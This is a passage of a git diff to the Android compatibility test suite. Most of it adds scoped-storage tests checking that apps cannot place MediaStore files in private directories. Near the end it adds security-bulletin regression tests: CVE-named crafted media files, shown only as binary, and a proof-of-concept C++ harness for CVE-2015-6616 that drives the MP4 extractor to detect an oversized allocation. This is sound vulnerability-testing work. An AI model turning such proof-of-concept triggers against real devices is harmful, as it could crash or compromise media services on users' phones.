+ assertThat(receivedParams & 0xFF).isEqualTo(mDutLogicalAddress.getDeviceType());
+ }
}
/**
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
index 9b6c23f..206edb6 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
@@ -64,7 +64,7 @@
for (int i = 0; i < NUM_ALARMS; i++) {
alm.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
SystemClock.elapsedRealtime() + (i + 1) * 1000,
- PendingIntent.getBroadcast(context, i, intent, 0));
+ PendingIntent.getBroadcast(context, i, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
}
assertTrue("Didn't receive all broadcasts.", latch.await(60 * 1000, TimeUnit.SECONDS));
}
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index 6c80563..2a8443b 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -81,11 +81,16 @@
import static android.scopedstorage.cts.lib.TestUtils.queryVideoFile;
import static android.scopedstorage.cts.lib.TestUtils.readExifMetadataFromTestApp;
import static android.scopedstorage.cts.lib.TestUtils.revokePermission;
+import static android.scopedstorage.cts.lib.TestUtils.setAppOpsModeForUid;
import static android.scopedstorage.cts.lib.TestUtils.setAttrAs;
import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
import static android.scopedstorage.cts.lib.TestUtils.updateDisplayNameWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
import static android.system.OsConstants.F_OK;
import static android.system.OsConstants.O_APPEND;
import static android.system.OsConstants.O_CREAT;
@@ -1113,6 +1118,36 @@
}
}
+ @Test
+ public void testInsertDefaultPrimaryCaseInsensitiveCheck() throws Exception {
+ final File podcastsDir = getPodcastsDir();
+ final File podcastsDirLowerCase =
+ new File(getExternalStorageDir(), Environment.DIRECTORY_PODCASTS.toLowerCase());
+ final File fileInPodcastsDirLowerCase = new File(podcastsDirLowerCase, AUDIO_FILE_NAME);
+ try {
+ // Delete the directory if it already exists
+ if (podcastsDir.exists()) {
+ deleteAsLegacyApp(podcastsDir);
+ }
+ assertThat(podcastsDir.exists()).isFalse();
+ assertThat(podcastsDirLowerCase.exists()).isFalse();
+
+ // Create the directory with lower case
+ assertThat(podcastsDirLowerCase.mkdir()).isTrue();
+ // Because of case-insensitivity, even though directory is created
+ // with lower case, we should be able to see both directory names.
+ assertThat(podcastsDirLowerCase.exists()).isTrue();
+ assertThat(podcastsDir.exists()).isTrue();
+
+ // File creation with lower case path of podcasts directory should not fail
+ assertThat(fileInPodcastsDirLowerCase.createNewFile()).isTrue();
+ } finally {
+ fileInPodcastsDirLowerCase.delete();
+ podcastsDirLowerCase.delete();
+ podcastsDir.mkdirs();
+ }
+ }
+
private void createDeleteCreate(File create, File delete) throws Exception {
try {
assertThat(create.createNewFile()).isTrue();
@@ -2464,6 +2499,42 @@
}
}
+ @Test
+ public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+ verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+ verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+ }
+
+ @Test
+ public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+ verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+ verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+ }
+
+ @Test
+ public void testInsertFromExternalDirsViaRelativePathAsSystemGallery() throws Exception {
+ int uid = Process.myUid();
+ try {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+ verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+ verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+ } finally {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ @Test
+ public void testUpdateToExternalDirsViaRelativePathAsSystemGallery() throws Exception {
+ int uid = Process.myUid();
+ try {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+ verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+ verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+ } finally {
+ setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+ }
+ }
+
/**
* Checks restrictions for opening pending and trashed files by different apps. Assumes that
* given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
index 01d1a3c4..2a63325 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
@@ -224,4 +224,24 @@
public void testScanUpdatesMetadataForNewlyAddedFile_hasRW() throws Exception {
runDeviceTest("testScanUpdatesMetadataForNewlyAddedFile_hasRW");
}
+
+ @Test
+ public void testInsertFromExternalDirsViaData() throws Exception {
+ runDeviceTest("testInsertFromExternalDirsViaData");
+ }
+
+ @Test
+ public void testUpdateToExternalDirsViaData() throws Exception {
+ runDeviceTest("testUpdateToExternalDirsViaData");
+ }
+
+ @Test
+ public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+ runDeviceTest("testInsertFromExternalDirsViaRelativePath");
+ }
+
+ @Test
+ public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+ runDeviceTest("testUpdateToExternalDirsViaRelativePath");
+ }
}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index 91e0915..e162169 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -240,6 +240,55 @@
}
}
+ @Test
+ public void testInsertExternalFilesViaDataAsFileManager() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testInsertExternalFilesViaData");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
+ /**
+ * Test that File Manager can't update file path to private directories.
+ */
+ @Test
+ public void testUpdateExternalFilesViaDataAsFileManager() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testUpdateExternalFilesViaData");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
+ /**
+ * Test that File Manager can't insert files from private directories.
+ */
+ @Test
+ public void testInsertExternalFilesViaRelativePathAsFileManager() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testInsertExternalFilesViaRelativePath");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
+ /**
+ * Test that File Manager can't update file path to private directories.
+ */
+ @Test
+ public void testUpdateExternalFilesViaRelativePathAsFileManager() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testUpdateExternalFilesViaRelativePath");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
private void grantPermissions(String... perms) throws Exception {
int currentUserId = getCurrentUserId();
for (String perm : perms) {
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index 5c7d708..6be57aa 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -34,16 +34,27 @@
import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
+import static android.scopedstorage.cts.lib.TestUtils.getAndroidMediaDir;
import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
+import static android.scopedstorage.cts.lib.TestUtils.insertFile;
+import static android.scopedstorage.cts.lib.TestUtils.insertFileFromExternalMedia;
import static android.scopedstorage.cts.lib.TestUtils.listAs;
import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
+import static android.scopedstorage.cts.lib.TestUtils.resetDefaultExternalStorageVolume;
import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
+import static android.scopedstorage.cts.lib.TestUtils.updateFile;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaData_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
import static androidx.test.InstrumentationRegistry.getContext;
@@ -900,6 +911,68 @@
}
}
+ /**
+ * Make sure inserting files from app private directories in legacy apps is allowed via DATA.
+ */
+ @Test
+ public void testInsertFromExternalDirsViaData() throws Exception {
+ verifyInsertFromExternalMediaDirViaData_allowed();
+
+ ContentValues values = new ContentValues();
+ final String androidObbDir =
+ getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+ values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+ insertFile(values);
+
+ final String androidDataDir = getExternalFilesDir().toString();
+ values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+ insertFile(values);
+ }
+
+ /**
+ * Make sure inserting files from app private directories in legacy apps is not allowed via
+ * RELATIVE_PATH.
+ */
+ @Test
+ public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+ verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+ verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+ }
+
+ /**
+ * Make sure updating files to app private directories in legacy apps is allowed via DATA.
+ */
+ @Test
+ public void testUpdateToExternalDirsViaData() throws Exception {
+ resetDefaultExternalStorageVolume();
+ Uri uri = insertFileFromExternalMedia(false);
+
+ final String androidMediaDirFile =
+ getAndroidMediaDir().toString() + "/" + System.currentTimeMillis();
+ ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.DATA, androidMediaDirFile);
+ assertNotEquals(0, updateFile(uri, values));
+
+ final String androidObbDir =
+ getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+ values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+ assertNotEquals(0, updateFile(uri, values));
+
+ final String androidDataDir = getExternalFilesDir().toString();
+ values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+ assertNotEquals(0, updateFile(uri, values));
+ }
+
+ /**
+ * Make sure updating files to app private directories in legacy apps is not allowed via
+ * RELATIVE_PATH.
+ */
+ @Test
+ public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+ verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+ verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+ }
+
private static void assertCanCreateFile(File file) throws IOException {
if (file.exists()) {
file.delete();
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index f5ea246..53e6e78 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -21,7 +21,12 @@
import static androidx.test.InstrumentationRegistry.getContext;
import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.TestCase.assertNotNull;
+
+import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.fail;
import android.Manifest;
@@ -124,7 +129,9 @@
public static void setupDefaultDirectories() {
for (File dir : getDefaultTopLevelDirs()) {
dir.mkdir();
- assertThat(dir.exists()).isTrue();
+ assertWithMessage("Could not setup default dir [%s]", dir.toString())
+ .that(dir.exists())
+ .isTrue();
}
}
@@ -289,6 +296,147 @@
return getResultFromTestApp(testApp, file.getPath(), actionName);
}
+ public static Uri insertFileFromExternalMedia(boolean useRelative) throws IOException {
+ ContentValues values = new ContentValues();
+ String filePath =
+ getAndroidMediaDir().toString() + "/" + getContext().getPackageName() + "/"
+ + System.currentTimeMillis();
+ if (useRelative) {
+ values.put(MediaStore.MediaColumns.RELATIVE_PATH,
+ "Android/media/" + getContext().getPackageName());
+ values.put(MediaStore.MediaColumns.DISPLAY_NAME, System.currentTimeMillis());
+ } else {
+ values.put(MediaStore.MediaColumns.DATA, filePath);
+ }
+
+ return getContentResolver().insert(
+ MediaStore.Files.getContentUri(sStorageVolumeName), values);
+ }
+
+ public static void insertFile(ContentValues values) {
+ assertNotNull(getContentResolver().insert(
+ MediaStore.Files.getContentUri(sStorageVolumeName), values));
+ }
+
+ public static int updateFile(Uri uri, ContentValues values) {
+ return getContentResolver().update(uri, values, new Bundle());
+ }
+
+ public static void verifyInsertFromExternalPrivateDirViaRelativePath_denied() throws Exception {
+ resetDefaultExternalStorageVolume();
+
+ // Test that inserting files from Android/obb/.. is not allowed.
+ final String androidObbDir = getContext().getObbDir().toString();
+ ContentValues values = new ContentValues();
+ values.put(
+ MediaStore.MediaColumns.RELATIVE_PATH,
+ androidObbDir.substring(androidObbDir.indexOf("Android")));
+ assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+
+ // Test that inserting files from Android/data/.. is not allowed.
+ final String androidDataDir = getExternalFilesDir().toString();
+ values.put(
+ MediaStore.MediaColumns.RELATIVE_PATH,
+ androidDataDir.substring(androidDataDir.indexOf("Android")));
+ assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+ }
+
+ public static void verifyInsertFromExternalMediaDirViaRelativePath_allowed() throws Exception {
+ resetDefaultExternalStorageVolume();
+
+ // Test that inserting files from Android/media/.. is allowed.
+ final String androidMediaDir = getExternalMediaDir().toString();
+ final ContentValues values = new ContentValues();
+ values.put(
+ MediaStore.MediaColumns.RELATIVE_PATH,
+ androidMediaDir.substring(androidMediaDir.indexOf("Android")));
+ insertFile(values);
+ }
+
+ public static void verifyInsertFromExternalPrivateDirViaData_denied() throws Exception {
+ resetDefaultExternalStorageVolume();
+
+ ContentValues values = new ContentValues();
+
+ // Test that inserting files from Android/obb/.. is not allowed.
+ final String androidObbDir =
+ getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+ values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+ assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+
+ // Test that inserting files from Android/data/.. is not allowed.
+ final String androidDataDir = getExternalFilesDir().toString();
+ values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+ assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+ }
+
+ public static void verifyInsertFromExternalMediaDirViaData_allowed() throws Exception {
+ resetDefaultExternalStorageVolume();
+
+ // Test that inserting files from Android/media/.. is allowed.
+ ContentValues values = new ContentValues();
+ final String androidMediaDirFile =
+ getExternalMediaDir().toString() + "/" + System.currentTimeMillis();
+ values.put(MediaStore.MediaColumns.DATA, androidMediaDirFile);
+ insertFile(values);
+ }
+
+ // NOTE: While updating, DATA field should be ignored for all the apps including file manager.
+ public static void verifyUpdateToExternalDirsViaData_denied() throws Exception {
+ resetDefaultExternalStorageVolume();
+ Uri uri = insertFileFromExternalMedia(false);
+
+ final String androidMediaDirFile =
+ getExternalMediaDir().toString() + "/" + System.currentTimeMillis();
+ ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.DATA, androidMediaDirFile);
+ assertEquals(0, updateFile(uri, values));
+
+ final String androidObbDir =
+ getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+ values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+ assertEquals(0, updateFile(uri, values));
+
+ final String androidDataDir = getExternalFilesDir().toString();
+ values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+ assertEquals(0, updateFile(uri, values));
+ }
+
+ public static void verifyUpdateToExternalMediaDirViaRelativePath_allowed()
+ throws IOException {
+ resetDefaultExternalStorageVolume();
+ Uri uri = insertFileFromExternalMedia(true);
+
+ // Test that update to files from Android/media/.. is allowed.
+ final String androidMediaDir = getExternalMediaDir().toString();
+ ContentValues values = new ContentValues();
+ values.put(
+ MediaStore.MediaColumns.RELATIVE_PATH,
+ androidMediaDir.substring(androidMediaDir.indexOf("Android")));
+ assertNotEquals(0, updateFile(uri, values));
+ }
+
+ public static void verifyUpdateToExternalPrivateDirsViaRelativePath_denied()
+ throws Exception {
+ resetDefaultExternalStorageVolume();
+ Uri uri = insertFileFromExternalMedia(true);
+
+ // Test that update to files from Android/obb/.. is not allowed.
+ final String androidObbDir = getContext().getObbDir().toString();
+ ContentValues values = new ContentValues();
+ values.put(
+ MediaStore.MediaColumns.RELATIVE_PATH,
+ androidObbDir.substring(androidObbDir.indexOf("Android")));
+ assertThrows(IllegalArgumentException.class, () -> updateFile(uri, values));
+
+ // Test that update to files from Android/data/.. is not allowed.
+ final String androidDataDir = getExternalFilesDir().toString();
+ values.put(
+ MediaStore.MediaColumns.RELATIVE_PATH,
+ androidDataDir.substring(androidDataDir.indexOf("Android")));
+ assertThrows(IllegalArgumentException.class, () -> updateFile(uri, values));
+ }
+
/**
* Makes the given {@code testApp} open a file for read or write.
*
@@ -1109,7 +1257,7 @@
*
* <p>This method drops shell permission identity.
*/
- private static void setAppOpsModeForUid(int uid, int mode, @NonNull String... ops) {
+ public static void setAppOpsModeForUid(int uid, int mode, @NonNull String... ops) {
adoptShellPermissionIdentity(null);
try {
for (String op : ops) {
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 15d24f5..cb26915 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -49,6 +49,13 @@
import static android.scopedstorage.cts.lib.TestUtils.pollForManageExternalStorageAllowed;
import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaData_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaData_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalDirsViaData_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
import static android.system.OsConstants.F_OK;
import static android.system.OsConstants.R_OK;
import static android.system.OsConstants.W_OK;
@@ -568,6 +575,41 @@
}
}
+ /**
+ * Test that File Manager can't insert files from private directories.
+ */
+ @Test
+ public void testInsertExternalFilesViaData() throws Exception {
+ verifyInsertFromExternalMediaDirViaData_allowed();
+ verifyInsertFromExternalPrivateDirViaData_denied();
+ }
+
+ /**
+ * Test that File Manager can't update file path to private directories.
+ */
+ @Test
+ public void testUpdateExternalFilesViaData() throws Exception {
+ verifyUpdateToExternalDirsViaData_denied();
+ }
+
+ /**
+ * Test that File Manager can't insert files from private directories.
+ */
+ @Test
+ public void testInsertExternalFilesViaRelativePath() throws Exception {
+ verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+ verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+ }
+
+ /**
+ * Test that File Manager can't update file path to private directories.
+ */
+ @Test
+ public void testUpdateExternalFilesViaRelativePath() throws Exception {
+ verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+ verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+ }
+
private void assertCreateFileAndScanNomediaDirDoesntNoOp(File newFile, File scanDir)
throws Exception {
assertThat(newFile.createNewFile()).isTrue();
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index 6741b82..6de6044 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -262,6 +262,8 @@
put("SDM429", null);
put("SDM439", null);
put("QM215", null);
+ put("ATOLL", null);
+ put("ATOLL-AB", null);
put("BENGAL", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
put("DEFAULT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y",
"CONFIG_UNMAP_KERNEL_AT_EL0=y"});
diff --git a/hostsidetests/securitybulletin/res/cve_2015_6616.mp4 b/hostsidetests/securitybulletin/res/cve_2015_6616.mp4
new file mode 100644
index 0000000..716c942
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2015_6616.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0726.mp4 b/hostsidetests/securitybulletin/res/cve_2017_0726.mp4
new file mode 100644
index 0000000..2e30e91
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0726.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0381.info b/hostsidetests/securitybulletin/res/cve_2020_0381.info
new file mode 100644
index 0000000..510c136
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0381.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0381.xmf b/hostsidetests/securitybulletin/res/cve_2020_0381.xmf
new file mode 100644
index 0000000..cbe4bbc
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0381.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0384.info b/hostsidetests/securitybulletin/res/cve_2020_0384.info
new file mode 100644
index 0000000..e74b507
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0384.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0384.xmf b/hostsidetests/securitybulletin/res/cve_2020_0384.xmf
new file mode 100644
index 0000000..5056ce3
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0384.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0385.info b/hostsidetests/securitybulletin/res/cve_2020_0385.info
new file mode 100644
index 0000000..f0d0459
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0385.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0385.xmf b/hostsidetests/securitybulletin/res/cve_2020_0385.xmf
new file mode 100644
index 0000000..6437f9e
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0385.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.bp
new file mode 100644
index 0000000..33d0680
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2015-6616",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.cpp",
+ ],
+
+ include_dirs: [
+ "frameworks/av/media/libdatasource/include",
+ "frameworks/av/media/libstagefright/include",
+ "cts/hostsidetests/securitybulletin/securityPatch/includes",
+ ],
+
+ shared_libs: [
+ "libstagefright",
+ "libutils",
+ "libmedia",
+ "libdatasource",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp
new file mode 100644
index 0000000..8d175cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp
@@ -0,0 +1,105 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <dlfcn.h>
+#include <sys/types.h>
+#include <media/DataSource.h>
+#include <datasource/FileSource.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <android/IMediaExtractor.h>
+#include <media/stagefright/DataSourceBase.h>
+#include <media/stagefright/MetaData.h>
+#include "../includes/common.h"
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+
+void * operator new(size_t size) {
+ if (size > 64 * 1024 * 1024) {
+ exit (EXIT_VULNERABLE);
+ }
+ return malloc(size);
+}
+
+using namespace android;
+
+int main(int argc, char **argv) {
+ (void) argc;
+ (void) argv;
+#if _64_BIT
+ GetExtractorDef getDef = nullptr;
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp < DataSource > dataSource = new FileSource(argv[1]);
+ if (dataSource == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ void* creator = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+ float confidence;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ creator = (void*) getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ creator = (void*) getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ }
+ if (!creator) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ CMediaExtractor *ret = ((CreatorFunc) creator)(dataSource->wrap(), meta);
+ if (ret == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+ new MediaExtractorCUnwrapper(ret);
+ MediaTrack* source = mediaExtractorCUnwrapper->getTrack(0);
+ if (source == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ source->start();
+
+ dlclose(libHandle);
+#endif /* _64_BIT */
+ return EXIT_SUCCESS;
+}
